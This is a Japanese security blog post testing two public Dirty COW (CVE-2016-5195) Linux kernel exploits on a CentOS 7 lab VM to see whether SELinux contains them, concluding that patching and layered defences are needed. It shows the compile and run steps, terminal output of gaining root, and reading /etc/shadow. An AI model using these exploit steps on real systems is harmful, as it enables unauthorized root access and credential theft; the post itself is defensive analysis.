Dirty COW (CVE-2016-5195) のExploit PoCとSELinux
こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面です。
先週末に公開されたLinux Kernelの脆弱性(Dirty COW)が今週かなり話題になっています。広範囲に影響する問題であり、対応方法もKernelの更新しか無いこと、Exploitが多数公開されてしまっていることが話題に上がっている原因ですが、今回はそれらのExploitを実際に試し、RHEL/CentOSでデフォルトで導入されているSELinuxでそれらが保護できるかどうかの確認と、それらからSELinuxの限界を探っていきたいと思います。
Dirty COWの簡単な説明
Dirty COWとは、簡単に言うとカーネルのメモリサブシステム内におけるcopy-on-write(COW)の取り扱いで競合状態が発生し、プライベートな読み取り専用メモリマッピングが破壊される問題です。これを悪用して、ローカルの非特権ユーザがシステムで特権に昇格することが可能になります。
Dirty COWのサイトからExploitの公開先もわかりますが、既にかなりの数のExploitが公開されており、更に実際の攻撃にも使用されていますので、早急な対応が必要となります。
さらに、今回の脆弱性はLinuxを使用している全ての製品(Androidを含む)が対象になります。
Androidの場合(最近のAndroidでSELinuxが有効になっているものになりますが)、今の所公開されているexploitだとハングしてリブートしてしまうだけですが、今後問題になる可能性もあるため、更にベンダーの情報をチェックする必要が有ります。
PoC: 公開されているExploitを試してみる
今回は、実際にgithubで公開されているExploitのうち
- cowroot.c: /proc/self/mem
- dirtycow-mem.c: /proc/self/mem
を試してみます。
PoC環境としては、VMWare Player上のCentOS 7.2を使用します。
PoCの手順として、最初にSELinuxを無効(Disabled)にした状態でテストを行い、その後SELinuxを有効(Enforcing)にした状態でテストを行います。
1. cowroot.c
実際にcowroot.cをダウンロードしてコンパイルし実行してみます。
実行手順は、cowroot.c中にコメントとして書いてあります。
- SELinuxが無効(Disabled)になっていることを確認します。
[sios@cent7poc ~]$ getenforce Disabled [sios@cent7poc ~]$
- cowroot.cをコンパイルします。
[sios@cent7poc ~]$ cd work/DirtyCow/cowroot/ [sios@cent7poc cowroot]$ gcc cowroot.c -o cowroot -pthread cowroot.c: 関数 ‘procselfmemThread’ 内: cowroot.c:98:9: 警告: passing argument 2 番目の ‘lseek’ の引数を渡すときにポインタからキャスト無しに整数を作成しています [デフォルトで有効] lseek(f,map,SEEK_SET); ^ In file included from cowroot.c:27:0: /usr/include/unistd.h:334:16: 備考: expected ‘__off_t’ but argument is of type ‘void *’ extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW; ^ [sios@cent7poc cowroot]$ ls cowroot cowroot.c [sios@cent7poc cowroot]$
- cowrootを一般ユーザで実行します。攻撃が成功し、rootユーザになります。
[sios@cent7poc cowroot]$ ./cowroot DirtyCow root privilege escalation Backing up /usr/bin/passwd to /tmp/bak Size of binary: 27832 Racing, this may take a while.. /usr/bin/passwd overwritten Popping root shell. thread stopped Don't forget to restore /tmp/bak thread stopped [root@cent7poc cowroot]# id uid=0(root) gid=1000(sios) groups=1000(sios),10(wheel) [root@cent7poc cowroot]#
- SELinuxを有効にしてOSを再起動し、SELinuxが有効になっていることを確認します。
[sios@cent7poc ~]$ getenforce Enforcing [sios@cent7poc ~]$
- 先程のcowrootを削除し、cowroot.cをコンパイルします。
[sios@cent7poc cowroot]$ rm cowroot [sios@cent7poc cowroot]$ gcc cowroot.c -o cowroot -pthread cowroot.c: 関数 ‘procselfmemThread’ 内: cowroot.c:98:9: 警告: passing argument 2 番目の ‘lseek’ の引数を渡すときにポインタからキャスト無しに整数を作成しています [デフォルトで有効] lseek(f,map,SEEK_SET); ^ In file included from cowroot.c:27:0: /usr/include/unistd.h:334:16: 備考: expected ‘__off_t’ but argument is of type ‘void *’ extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW; ^ [sios@cent7poc cowroot]$
- cowrootを一般ユーザで実行します。攻撃が成功し、rootユーザになります。
[sios@cent7poc cowroot]$ ./cowroot DirtyCow root privilege escalation Backing up /usr/bin/passwd to /tmp/bak Size of binary: 27832 Racing, this may take a while.. /usr/bin/passwd overwritten Popping root shell. thread stopped Don't forget to restore /tmp/bak thread stopped bash: /root/.bashrc: Permission denied bash-4.2# id uid=0(root) gid=1000(sios) groups=1000(sios),10(wheel) context=unconfined_u:unconfined_r:passwd_t:s0-s0:c0.c1023 bash-4.2#
- どこまで出来るのか、ある程度調べてみます。”id -Z”コマンドでユーザのコンテキストを見てわかるとおり、passwd_tドメインでシェルが動作しているため、touchでファイルを作成したりは出来ませんが、rootアカウントでしかアクセスできないファイルを読み出したりすることは可能です。
bash-4.2# id -Z unconfined_u:unconfined_r:passwd_t:s0-s0:c0.c1023 bash-4.2# touch /tmp/ddd touch: cannot touch '/tmp/ddd': Permission denied bash-4.2# cat /etc/shadow root:$4$nlkpuc8k8mCpyLLSG9./::0:99999:7::: bin:*:16659:0:99999:7::: daemon:*:16659:0:99999:7::: adm:*:16659:0:99999:7::: nfsnobody:!!:17020:::::: --snip-- tcpdump:!!:17020:::::: named:!!:17077:::::: dockerroot:!!:17098:::::: bash-4.2#
2. dirtycow-mem.c
実際にdirtycow-mem.cをダウンロードしてコンパイルし実行してみます。
実行手順は、dirtycow-mem.c中にコメントとして書いてあります。
- SELinuxが無効(Disabled)になっていることを確認します。
[sios@cent7poc ~]$ getenforce Disabled [sios@cent7poc ~]$
- dirtycow-mem.cをCentOS 7上で動作するようにlibcのパスを修正しコンパイルします。
[sios@cent7poc ~]$ cd work/DirtyCow/dirtycow-mem/ [sios@cent7poc dirycow-mem]$ [sios@cent7poc dirycow-mem]$ diff dirtycow-mem.c.org dirtycow-mem.c 30c30,31 < #define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6" --- > //#define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6" > #define LIBC_PATH "/lib64/libc.so.6" [sios@cent7poc dirycow-mem]$ gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread dirtycow-mem.c: 関数 ‘get_range’ 内: dirtycow-mem.c:139:3: 警告: 代入の抑制 と 長さ修飾子 を gnu_scanf 書式で一緒に使用しています [-Wformat=] sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename); ^ dirtycow-mem.c:139:3: 警告: 代入の抑制 と 長さ修飾子 を gnu_scanf 書式で一緒に使用しています [-Wformat=] [sios@cent7poc dirycow-mem]$ ls dirtycow-mem dirtycow-mem.c [sios@cent7poc dirycow-mem]$
- dirtycow-memを一般ユーザで実行します。攻撃が成功し、rootユーザになります。
[sios@cent7poc dirycow-mem]$ ./dirtycow-mem [*] range: 7f3bb9ad4000-7f3bb9c8b000] [*] getuid = 7f3bb9b92db0 [*] mmap 0x7f3bb98d0000 [*] exploiting (patch) [*] patched (procselfmemThread) [*] patched (madviseThread) [root@cent7poc dirycow-mem]# id uid=0(root) gid=0(root) groups=0(root) [root@cent7poc dirycow-mem]# touch /tmp/ccc [root@cent7poc dirycow-mem]# ls -lh /tmp/ccc -rw-r--r-- 1 root root 0 10月 28 10:51 /tmp/ccc
- SELinuxを有効にしてOSを再起動し、SELinuxが有効になっていることを確認します。
[sios@cent7poc ~]$ getenforce Enforcing [sios@cent7poc ~]$
- 先程のdirtycow-memを削除し、dirtycow-mem.cを再度コンパイルします。
[sios@cent7poc dirycow-mem]$ rm dirtycow-mem [sios@cent7poc dirycow-mem]$ gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread dirtycow-mem.c: 関数 ‘get_range’ 内: dirtycow-mem.c:140:3: 警告: 代入の抑制 と 長さ修飾子 を gnu_scanf 書式で一緒に使用しています [-Wformat=] sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename); ^ dirtycow-mem.c:140:3: 警告: 代入の抑制 と 長さ修飾子 を gnu_scanf 書式で一緒に使用しています [-Wformat=]
- dirtycow-memを一般ユーザで実行します。攻撃が成功し、rootユーザになります。
[sios@cent7poc dirycow-mem]$ ./dirtycow-mem [*] range: 7fef1be82000-7fef1c039000] [*] getuid = 7fef1bf40db0 [*] mmap 0x7fef1bc7e000 [*] exploiting (patch) [*] patched (madviseThread) [*] patched (procselfmemThread) [root@cent7poc dirycow-mem]# id -Z unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [root@cent7poc dirycow-mem]# [*] exploiting (unpatch) [*] unpatched: uid=1000 (procselfmemThread) [*] unpatched: uid=1000 (madviseThread)
- どこまで出来るのか、ある程度調べてみます。今度は完全にrootアカウントになっており、”id -Z”で確認してもunconfined_tドメインでシェルが動作しています。そのため、SELinuxが有効になっているにも関わらず、ヤリタイ放題になっていることがわかります。
[root@cent7poc dirycow-mem]# cat /etc/shadow root:XXXXXXXXXXXXG./::0:99999:7::: bin:*:16659:0:99999:7::: daemon:*:16659:0:99999:7::: adm:*:16659:0:99999:7::: lp:*:16659:0:99999:7::: sync:*:16659:0:99999:7::: shutdown:*:16659:0:99999:7::: --snip-- avahi-autoipd:!!:16990:::::: avahi:!!:17020:::::: tcpdump:!!:17020:::::: named:!!:17077:::::: dockerroot:!!:17098:::::: [root@cent7poc dirycow-mem]# touch /tmp/dddd [root@cent7poc dirycow-mem]# ls -lh /tmp/dddd -rw-r--r--. 1 root root 0 10月 28 11:02 /tmp/dddd [root@cent7poc dirycow-mem]# id -Z unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [root@cent7poc dirycow-mem]# getenforce Enforcing
二つのPoCの違いとSELinuxの振る舞いの違い
1つめのPoC(cowroot.c)は、/usr/bin/passwdを使っているため、起動されたシェルもSELinuxによる制限を受けてpasswd_tドメインに限定されます。そのため、passwd_tドメインがアクセスできる範囲でしかアクセスが可能にならず、結果的に被害を局所化することが出来ます。
しかし、2つめのPoC(dirtycow-mem.c)はファイルシステムに書き込まず、メモリを直接いじって動作するため、PoCを行ったユーザのドメイン(unconfined_tドメイン)が引き継がれてしまい、通常のrootと同じSELinuxコンテキスト(unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023)と同じになってしまいます。
まとめと考察
今回の脆弱性を用いて、公開されているExploitを使うと容易に(5秒以内という話も有ります)一般ユーザでroot権限を得られることがわかりました。
殆どの場合、root権限を取ったVMは10秒程度でハングアップしてしまいますが、それでもroot権限を得ている間にパスワードを変更したり、色々な設定変更を行うことが出来るため、攻撃者にとっては充分な時間が提供されます。
また、今回の脆弱性はシステムコールを経由せずに、メモリを直接いじって任意のファイルを強制的に上書きすることが出来る脆弱性のため、ファイルシステムを経由しないexploitの場合には、SELinuxを有効にしていても防げないことがわかりました。
SELinuxは、LSMを用いてシステムコールをフックして強制的にアクセス制御を行うものです。そのため、今回のようなタイプの脆弱性対応には不向きです。
SELinux MLでも既に議論にはなっていますが、今回の問題をSELinuxで軽減する方法としては、ファイルに対してのアクセス制御で(1. cowroot.cの時が分かりやすいですが)一部軽減が可能ですが、メモリ上を直接書き換えてしまったり、vDSOベースのものには全く歯が立ちません。
ここで重要なのは、SELinuxもそうですが、全てのセキュリティソリューションには得意・不得意や適用できる範囲が決まっているということです。
SELinuxを用いて防げる脆弱性も多数あります。過去のケースで言えば、あのShellShockなど、大々的な脆弱性も防ぐことが可能です。今回のケースは、あくまでも「SELinuxが適用される範囲外の脆弱性だった」という事です。
よく言われる話ですが、「情報セキュリティ対策に銀の弾丸はない」という事で、魔法のような何でも対処できるソリューションは無く、多層防御で補ってやる必要があるということです。
今回のケースで言えば、ローカルのユーザによる攻撃はSELinuxなどでも防げませんが、そもそもリモートからローカルに入る所で防御することで安全性を保つということが可能です。
また、やはりRed Hat Satelliteなどのパッチ管理製品を使ってパッチ管理を確実に行い、脆弱性が発見・報告された際には直ちにパッチの適用を行うという運用も不可欠になります。
[セミナー告知]
11/30(水)に「OSSセキュリティナイター vol.3」と題して、セキュリティのセミナーを行います。
この回では、世界で最も利用されているオープンソースデータベースであるMySQLを取り上げ、『MySQLデータベースのセキュリティを考える 〜 重要データを守るために必要なこと〜』と題してセミナーを開催します。
今回も、前回に引き続き、ゲスト講師としてMySQLスペシャリストをお招きし講演をいただきます。
http://connpass.com/event/44819/がプログラム内容と申し込みの詳細になりますので、是非お申し込み下さい。
—–